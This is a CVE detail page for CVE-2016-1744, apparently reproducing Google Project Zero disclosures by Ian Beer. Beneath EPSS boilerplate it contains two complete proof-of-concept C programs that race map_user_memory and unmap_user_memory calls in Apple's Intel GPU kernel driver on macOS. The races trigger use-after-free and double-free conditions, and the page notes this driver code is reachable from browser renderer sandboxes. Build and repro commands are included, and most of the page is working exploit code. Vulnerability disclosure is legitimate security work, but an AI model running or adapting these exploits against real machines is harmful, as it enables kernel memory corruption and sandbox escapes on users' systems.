CVE-2016-1744 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

/* This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 */ //ianbeer // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit #if 0 UaF/Double-delete due to bad locking in Apple Intel GPU driver This PoC file might look familiar; this bug is a trivial variant of CVE-2016-1744 (Apple bug id 635599405.) That report showed the bug in the unmap_user_memory external methods; a variant also exists in the map_user_memory external methods. The intel graphics drivers have their own hash table type IGHashTable which isn't thread-safe. map_user_memory manipulates an IGHashTable without locking leading to memory issues (eg UaFs and/or double-frees) tested on MacOS 10.13.5 (17F77) on MacBookPro10,1 #endif #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <IOKit/IOKitLib.h> struct mem_desc { uint64_t ptr; uint64_t size; }; uint64_t map_user_memory(mach_port_t conn) { kern_return_t err; void* mem = malloc(0x20000); // make sure that the address we pass is page-aligned: mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff); printf("trying to map user pointer: %p\n", mem); uint64_t inputScalar[16] = {0}; uint64_t inputScalarCnt = 0; char inputStruct[4096] = {0}; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x10; outputScalarCnt = 4096; outputStructCnt = 16; struct mem_desc* md = (struct mem_desc*)inputStruct; md->ptr = (uint64_t)mem; md->size = 0x1000; err = IOConnectCallMethod( conn, 0x200, // IGAccelGLContext::map_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); //return 0; } else{ printf("worked? outputScalarCnt = %d\n", outputScalarCnt); } printf("outputScalarCnt = %d\n", outputScalarCnt); md = (struct mem_desc*)outputStruct; printf("0x%llx :: 0x%llx\n", md->ptr, md->size); return (uint64_t)mem; } uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x8; outputScalarCnt = 4096; outputStructCnt = 16; *((uint64_t*)inputStruct) = handle; err = IOConnectCallMethod( conn, 0x201, // IGAccelGLContext::unmap_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } volatile mach_port_t gl_context = MACH_PORT_NULL; #define N_HANDLES 40 void go(void* arg){ while (1) { uint64_t handles[N_HANDLES] = {0}; for (int i = 0; i < N_HANDLES; i++) { handles[i] = map_user_memory(gl_context); } for (int i = 0; i < N_HANDLES; i++) { unmap_user_memory(gl_context, handles[i]); } } } int main(int argc, char** argv){ // get an IGAccelGLContext gl_context = get_user_client("IntelAccelerator", 1); printf("gl_context: %x\n", gl_context); // get a IGAccelSharedUserClient mach_port_t shared = get_user_client("IntelAccelerator", 6); printf("shared: %x\n", shared); // connect the gl_context to the shared UC so we can actually use it: kern_return_t err = IOConnectAddClient(gl_context, shared); if (err != KERN_SUCCESS){ printf("IOConnectAddClient error: %x\n", err); return 0; } printf("added client to the shared UC\n"); #define N_THREADS 2 pthread_t threads[N_THREADS]; for (int i = 0; i < N_THREADS; i++) { pthread_create(&threads[i], NULL, go, NULL); } pthread_join(threads[0], NULL); return 0; }

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=708 The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory method. The Context objects have inline IGHashTable members which store a mapping between those user pointers and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method calls in order: ::contains ::get ::remove on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid mapped user pointer they will both look up the same value in the hash map and return it. The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the ::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free. The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again. This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process. */ //ianbeer // build: clang -o ig_gl_unmap_racer ig_gl_unmap_racer.c -framework IOKit -lpthread // repro: while true; do ./ig_gl_unmap_racer; done // (try something like this in your boot-args for a nice panic log: gzalloc_min=0x80 gzalloc_max=0x120 -zc -zp) /* Use after free and double delete due to incorrect locking in Intel GPU Driver The external methods IGAccelGLContext::unmap_user_memory and IGAccelCLContext::unmap_user_memory take an 8 byte struct input which is a user-space pointer previously passed to the equivilent map_user_memory method. The Context objects have inline IGHashTable members which store a mapping between those user pointers and the IGAccelMemoryMap object pointers to which they refer in the kernel. The unmap_user_memory method calls in order: ::contains ::get ::remove on the hashmap *before* taking the context's IOLock. This means we can race two threads and by passing them both a valid mapped user pointer they will both look up the same value in the hash map and return it. The first exploitable bug is that none of these methods are thread safe; it's quite possible for two threads to be in the ::remove method at the same time and call IOFree on the hash bucket list entry resulting in a double free. The second bug is that after the call to ::remove although a lock is taken on the Context by this point it's too late; both threads have a pointer to the same IGAccelMemoryMap which only has one reference. The first thread will call ::release which will free the object, then the thread will drop the lock, the second thread will acquire it and then use the free'd object before calling ::release again. This user client code is reachable from many sandboxes including the safari renderer and the chrome gpu process. */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <mach/mach.h> #include <mach/vm_map.h> #include <libkern/OSAtomic.h> #include <mach/thread_act.h> #include <pthread.h> #include <IOKit/IOKitLib.h> struct mem_desc { uint64_t ptr; uint64_t size; }; uint64_t map_user_memory(mach_port_t conn) { kern_return_t err; void* mem = malloc(0x20000); // make sure that the address we pass is page-aligned: mem = (void*) ((((uint64_t)mem)+0x1000)&~0xfff); printf("trying to map user pointer: %p\n", mem); uint64_t inputScalar[16] = {0}; uint64_t inputScalarCnt = 0; char inputStruct[4096] = {0}; size_t inputStructCnt = 0; uint64_t outputScalar[16] = {0}; uint32_t outputScalarCnt = 0; char outputStruct[4096] = {0}; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x10; outputScalarCnt = 4096; outputStructCnt = 16; struct mem_desc* md = (struct mem_desc*)inputStruct; md->ptr = (uint64_t)mem; md->size = 0x1000; err = IOConnectCallMethod( conn, 0x200, // IGAccelGLContext::map_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); //return 0; } else{ printf("worked? outputScalarCnt = %d\n", outputScalarCnt); } printf("outputScalarCnt = %d\n", outputScalarCnt); md = (struct mem_desc*)outputStruct; printf("0x%llx :: 0x%llx\n", md->ptr, md->size); return (uint64_t)mem; } uint64_t unmap_user_memory(mach_port_t conn, uint64_t handle) { kern_return_t err; uint64_t inputScalar[16]; uint64_t inputScalarCnt = 0; char inputStruct[4096]; size_t inputStructCnt = 0; uint64_t outputScalar[16]; uint32_t outputScalarCnt = 0; char outputStruct[4096]; size_t outputStructCnt = 0; inputScalarCnt = 0; inputStructCnt = 0x8; outputScalarCnt = 4096; outputStructCnt = 16; *((uint64_t*)inputStruct) = handle; err = IOConnectCallMethod( conn, 0x201, // IGAccelGLContext::unmap_user_memory inputScalar, inputScalarCnt, inputStruct, inputStructCnt, outputScalar, &outputScalarCnt, outputStruct, &outputStructCnt); if (err != KERN_SUCCESS){ printf("IOConnectCall error: %x\n", err); } else{ printf("worked?\n"); } return 0; } mach_port_t get_user_client(char* name, int type) { kern_return_t err; CFMutableDictionaryRef matching = IOServiceMatching(name); if(!matching){ printf("unable to create service matching dictionary\n"); return 0; } io_iterator_t iterator; err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); if (err != KERN_SUCCESS){ printf("no matches\n"); return 0; } io_service_t service = IOIteratorNext(iterator); // should be intel integrated graphics (only tested on MBA) if (service == IO_OBJECT_NULL){ printf("unable to find service\n"); return 0; } printf("got service: %x\n", service); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), type, &conn); if (err != KERN_SUCCESS){ printf("unable to get user client connection\n"); return 0; } printf("got userclient connection: %x\n", conn); return conn; } mach_port_t gl_context = MACH_PORT_NULL; uint64_t handle = 0; OSSpinLock lock = OS_SPINLOCK_INIT; void go(void* arg){ int got_it = 0; while (!got_it) { got_it = OSSpinLockTry(&lock); } //usleep(1); unmap_user_memory(gl_context, handle); printf("called unmap from thread\n"); } int main(int argc, char** argv){ // get an IGAccelGLContext gl_context = get_user_client("IOAccelerator", 1); // get a IGAccelSharedUserClient mach_port_t shared = get_user_client("IOAccelerator", 6); // connect the gl_context to the shared UC so we can actually use it: kern_return_t err = IOConnectAddClient(gl_context, shared); if (err != KERN_SUCCESS){ printf("IOConnectAddClient error: %x\n", err); return 0; } printf("added client to the shared UC\n"); handle = map_user_memory(gl_context); OSSpinLockLock(&lock); pthread_t t; pthread_create(&t, NULL, (void*) go, NULL); usleep(100000); OSSpinLockUnlock(&lock); unmap_user_memory(gl_context, handle); printf("called unmap from main process thread\n"); pthread_join(t, NULL); return 0; }